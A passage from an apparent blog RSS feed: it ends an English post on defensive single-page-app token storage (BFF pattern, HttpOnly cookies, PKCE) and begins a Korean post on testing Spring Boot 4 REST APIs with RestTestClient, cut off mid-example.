&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Can&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;create&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Project&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;CreateButton&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Can&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hide or disable buttons for users without permissions. But remember: &lt;strong&gt;this is just UX.&lt;/strong&gt; Real security happens on the backend!&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;conclusion-and-practical-recommendations&quot;&gt;Conclusion and Practical Recommendations&lt;/h1&gt;

&lt;p&gt;The SPA security landscape in 2025 requires much more sophisticated architecture than before. Browser constraints are tightening, and attack techniques are becoming more advanced.&lt;/p&gt;

&lt;h2 id=&quot;key-takeaways&quot;&gt;Key Takeaways&lt;/h2&gt;

&lt;h3 id=&quot;1-adopt-bff-pattern-top-priority-&quot;&gt;1. Adopt BFF Pattern (Top Priority) 🏆&lt;/h3&gt;

&lt;p&gt;If you’re building security-critical business applications, adopt the BFF pattern that &lt;strong&gt;completely removes tokens from the browser&lt;/strong&gt;. It’s currently the only and most powerful architecture that can fundamentally prevent account hijacking via XSS.&lt;/p&gt;

&lt;h3 id=&quot;2-use-httponly-cookies&quot;&gt;2. Use HttpOnly Cookies&lt;/h3&gt;

&lt;p&gt;Use cookies with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Secure&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SameSite&lt;/code&gt; attributes instead of LocalStorage for token storage. Block script access to maximize security.&lt;/p&gt;

&lt;h3 id=&quot;3-pkce-and-token-rotation-second-best&quot;&gt;3. PKCE and Token Rotation (Second Best)&lt;/h3&gt;

&lt;p&gt;If BFF adoption is impossible (Serverless environments, etc.), use PKCE-based Authorization Code Flow, but &lt;strong&gt;always implement refresh token rotation and reuse detection mechanisms&lt;/strong&gt;. This minimizes damage from token theft.&lt;/p&gt;

&lt;h3 id=&quot;4-granular-permission-synchronization&quot;&gt;4. Granular Permission Synchronization&lt;/h3&gt;

&lt;p&gt;Go beyond simple RBAC to synchronize frontend-backend with Permission JSON structures including conditions. But always perform final authorization checks on the backend API!&lt;/p&gt;

&lt;h2 id=&quot;future-outlook&quot;&gt;Future Outlook&lt;/h2&gt;

&lt;p&gt;Web security will extend Zero Trust principles to the client side. Browsers will become increasingly closed environments (complete death of third-party cookies), and mastering new standard technologies like partitioned cookies (CHIPS) or Storage Access API will become essential.&lt;/p&gt;

&lt;p&gt;Additionally, application-layer security protocols like &lt;strong&gt;DPoP (Demonstrating Proof-of-Possession)&lt;/strong&gt; that bind tokens to specific clients will gradually become mainstream.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h1&gt;

&lt;p&gt;SPA security goes beyond simply “where to store tokens.” You need to embed security from the architecture design phase (Security by Design).&lt;/p&gt;

&lt;p&gt;If you’re starting an SPA project after a while or need to improve legacy system security, bookmark this article. It’ll help when you need it! 🚀&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;appendix-quick-reference&quot;&gt;Appendix: Quick Reference&lt;/h1&gt;

&lt;h2 id=&quot;storage-selection-guide&quot;&gt;Storage Selection Guide&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Situation&lt;/th&gt;
      &lt;th&gt;Recommended Approach&lt;/th&gt;
      &lt;th&gt;Reason&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Production Environment&lt;/td&gt;
      &lt;td&gt;BFF + HttpOnly Cookie&lt;/td&gt;
      &lt;td&gt;Complete XSS defense&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Serverless SPA&lt;/td&gt;
      &lt;td&gt;PKCE + Token Rotation&lt;/td&gt;
      &lt;td&gt;Second best when backend unavailable&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Dev/Test Environment&lt;/td&gt;
      &lt;td&gt;LocalStorage (temporary)&lt;/td&gt;
      &lt;td&gt;Convenience, but must replace before production&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Embedded Widgets&lt;/td&gt;
      &lt;td&gt;CHIPS utilization&lt;/td&gt;
      &lt;td&gt;Bypass third-party cookie blocking&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 22 Jan 2026 11:00:00 +0900</pubDate>
        <link>http://thecodinglog.github.io/security/2026/01/22/spa-security-eng.html</link>
        <guid isPermaLink="true">http://thecodinglog.github.io/security/2026/01/22/spa-security-eng.html</guid>
        
        <category>Security</category>
        
        <category>SPA</category>
        
        
        <category>Security</category>
        
      </item>
    
      <item>
        <title>Spring Boot 4 REST API 테스팅, 이 글 하나로 정리하기 🧪</title>
        <description>&lt;p&gt;Spring Boot 4가 출시되면서 REST API 테스팅 방식이 또 바뀌었습니다. MockMvc는 장황하고, TestRestTemplate은 곧 사라질 예정이고, WebTestClient는 리액티브 의존성이 필요하죠. “도대체 뭘 써야 하나?” 싶으셨다면, 이 글이 답입니다. Spring Framework 7의 새로운 표준, &lt;strong&gt;RestTestClient&lt;/strong&gt;를 완벽히 정리했습니다.&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;h1 id=&quot;왜-또-새로운-테스팅-도구인가&quot;&gt;왜 또 새로운 테스팅 도구인가?&lt;/h1&gt;

&lt;p&gt;2025년 11월, Spring Boot 4.0과 Spring Framework 7.0이 정식 출시되었습니다. 지난 10년간 자바 웹 개발은 안정성과 확장성을 중심으로 발전했지만, 테스팅 도구는 파편화되어 있었습니다.&lt;/p&gt;

&lt;h2 id=&quot;기존-도구들의-문제점&quot;&gt;기존 도구들의 문제점&lt;/h2&gt;

&lt;h3 id=&quot;mockmvc-빠르지만-장황하다&quot;&gt;MockMvc: 빠르지만 장황하다&lt;/h3&gt;

&lt;p&gt;MockMvc는 서블릿 컨테이너를 띄우지 않고 DispatcherServlet을 직접 호출해서 빠릅니다. 하지만 API가 정적 빌더 패턴에 의존적이고 장황하죠.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;mockMvc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;perform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;andExpect&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;andExpect&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;jsonPath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;$.title&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Spring Boot 4&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;게다가 실제 HTTP 통신을 하지 않아서 네트워크 레이어의 직렬화/역직렬화 문제나 프록시 이슈를 감지하지 못합니다.&lt;/p&gt;

&lt;h3 id=&quot;testresttemplate-곧-사라질-레거시&quot;&gt;TestRestTemplate: 곧 사라질 레거시&lt;/h3&gt;

&lt;p&gt;실제 서버를 띄워서 통합 테스트를 하는 TestRestTemplate은 RestTemplate 기반의 명령형 스타일입니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;ResponseEntity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;restTemplate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getForEntity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getStatusCode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;OK&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getBody&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getTitle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Spring Boot 4&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;ResponseEntity를 수동으로 언래핑하고 별도의 어설션 라이브러리로 검증해야 하는 번거로움이 있습니다. 게다가 Spring 6.1 이후 RestTemplate이 유지보수 모드에 진입했고, 향후 Deprecated될 예정입니다.&lt;/p&gt;

&lt;h3 id=&quot;webtestclient-좋지만-의존성-문제&quot;&gt;WebTestClient: 좋지만 의존성 문제&lt;/h3&gt;

&lt;p&gt;리액티브 스택(WebFlux)용으로 설계된 WebTestClient는 직관적인 Fluent API를 제공합니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;webTestClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectBody&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getTitle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Spring Boot 4&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;개발자들이 좋아했지만 문제가 있습니다. Spring MVC 애플리케이션을 테스트하는데도 불필요한 리액티브 의존성(Reactor Netty 등)을 추가해야 하거나 클래스패스 충돌이 발생할 수 있습니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;resttestclient-모든-문제를-해결하는-통합-인터페이스&quot;&gt;RestTestClient: 모든 문제를 해결하는 통합 인터페이스&lt;/h1&gt;

&lt;p&gt;RestTestClient는 이 모든 파편화를 해결하기 위해 설계되었습니다. 내부적으로 동기식 HTTP 클라이언트인 RestClient를 래핑하면서도, 테스트 검증을 위한 풍부한 어설션 API를 제공합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;가장 큰 특징: 단일 API로 모든 테스팅 시나리오를 커버합니다.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindTo&lt;/code&gt; 메서드로 실행 전략(Mock vs Real Server)만 바꾸면, 요청을 구성하고 응답을 검증하는 API는 동일하게 유지됩니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Mock 환경&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindToController&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;BookController&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// 실제 서버 환경 (같은 API!)&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindToServer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://localhost:8080&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// 사용법은 동일&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectBody&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getTitle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Spring Boot 4&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;단위 테스트부터 E2E 테스트까지 일관된 문법으로 작성할 수 있어 학습 곡선이 낮고 테스트 코드의 가독성이 비약적으로 향상됩니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;resttestclient-아키텍처-바인딩-전략이-핵심&quot;&gt;RestTestClient 아키텍처: 바인딩 전략이 핵심&lt;/h1&gt;

&lt;p&gt;RestTestClient의 설계 철학은 ‘유창함(Fluency)’과 ‘조합성(Composability)’입니다. 단순히 메서드 체이닝을 넘어, 테스트의 의도를 명확히 드러내는 도메인 특화 언어(DSL)에 가깝습니다.&lt;/p&gt;

&lt;h2 id=&quot;바인딩-메서드-실행-엔진을-선택하라&quot;&gt;바인딩 메서드: 실행 엔진을 선택하라&lt;/h2&gt;

&lt;p&gt;RestTestClient 인스턴스는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RestTestClient.bindToXxx()&lt;/code&gt; 형태의 정적 팩토리 메서드로 생성합니다. 이 바인딩 단계에서 요청을 처리할 ‘백엔드 엔진’이 결정됩니다.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;바인딩 메서드&lt;/th&gt;
      &lt;th&gt;내부 처리 엔진&lt;/th&gt;
      &lt;th&gt;주요 용도&lt;/th&gt;
      &lt;th&gt;비고&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToController&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Standalone MockMvc&lt;/td&gt;
      &lt;td&gt;단위 테스트, 라우팅 검증&lt;/td&gt;
      &lt;td&gt;컨테이너 로딩 없음 (초고속)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToMockMvc&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;MockMvc Wrapper&lt;/td&gt;
      &lt;td&gt;레거시 마이그레이션, 보안 검증&lt;/td&gt;
      &lt;td&gt;기존 MockMvc 설정 재사용&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToApplicationContext&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Full Context MockMvc&lt;/td&gt;
      &lt;td&gt;통합 테스트, 빈 상호작용 검증&lt;/td&gt;
      &lt;td&gt;컨텍스트 로딩 필요&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToServer&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;RestClient (Network)&lt;/td&gt;
      &lt;td&gt;E2E 테스트, 실제 HTTP 통신&lt;/td&gt;
      &lt;td&gt;실제 서버 구동 필요&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToRouterFunction&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;RouterFunction Invoker&lt;/td&gt;
      &lt;td&gt;함수형 엔드포인트 테스트&lt;/td&gt;
      &lt;td&gt;WebFlux/MVC 함수형 스타일&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;이 설계는 “Write Once, Run Anywhere”처럼, 동일한 테스트 로직을 다양한 실행 환경에 적용할 수 있는 유연성을 제공합니다.&lt;/p&gt;

&lt;h2 id=&quot;요청-교환-검증-흐름-request-exchange-assert&quot;&gt;요청-교환-검증 흐름 (Request-Exchange-Assert)&lt;/h2&gt;

&lt;p&gt;RestTestClient 사용 흐름은 세 단계로 구분됩니다.&lt;/p&gt;

&lt;h3 id=&quot;1-request-specification-요청-명세&quot;&gt;1. Request Specification (요청 명세)&lt;/h3&gt;

&lt;p&gt;HTTP 메서드, URI, 헤더, 바디를 설정합니다. RestClient API와 거의 유사합니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/users&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;MediaType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;APPLICATION_JSON&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;newUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2-exchange-교환&quot;&gt;2. Exchange (교환)&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exchange()&lt;/code&gt; 메서드를 호출하여 요청을 실행하고 응답 컨텍스트로 전환합니다. 이 메서드 명명은 WebTestClient와의 통일성을 위해 선택되었습니다.&lt;/p&gt;

&lt;h3 id=&quot;3-response-assertion-응답-검증&quot;&gt;3. Response Assertion (응답 검증)&lt;/h3&gt;

&lt;p&gt;반환된 ResponseSpec을 통해 상태 코드, 헤더, 바디를 체이닝 방식으로 검증합니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isCreated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
